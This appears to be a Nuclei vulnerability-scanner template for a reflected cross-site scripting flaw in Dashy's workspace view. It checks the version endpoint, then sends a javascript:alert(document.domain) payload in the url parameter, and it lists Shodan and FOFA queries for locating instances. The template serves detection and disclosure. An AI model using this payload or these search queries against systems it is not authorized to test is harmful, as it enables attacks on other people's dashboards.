id: CVE-2026-55592

info:
  name: Dashy <= 4.3.6 - Reflected XSS via Workspace
  author: 0x_Akoko
  severity: medium
  description: |
    Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.
  impact: |
    If a logged-in user opens a crafted link, JavaScript executes on the Dashy origin with access to same-origin browser data, the Dashy DOM, and can send requests as the victim.
  remediation: |
    Update Dashy to version 4.3.7 or later.
  reference:
    - https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55592
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-55592
    epss-score: 0.00255
    epss-percentile: 0.17069
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: dashy
    shodan-query: title:"Dashy"
    fofa-query: title="Dashy"
  tags: cve,cve2026,dashy,xss,reflected

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/healthz"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"version\"")'
          - 'compare_versions(version, "< 4.3.7")'
        condition: and

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'

  - method: GET
    path:
      - "{{BaseURL}}/workspace?url=javascript%3Aalert%28document.domain%29"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "javascript:alert(document.domain)")'
        condition: and
# digest: 4a0a0047304502204b5718e3cd2f9bc2c6a39d5236716b7316c3eeeca1ed804225442fafb91331ab022100e7f3cb7609c06b1d4425a6899773ab9794f28148913d30907991cf6db8d18e31:922c64590222798bb761d5b6d8e72950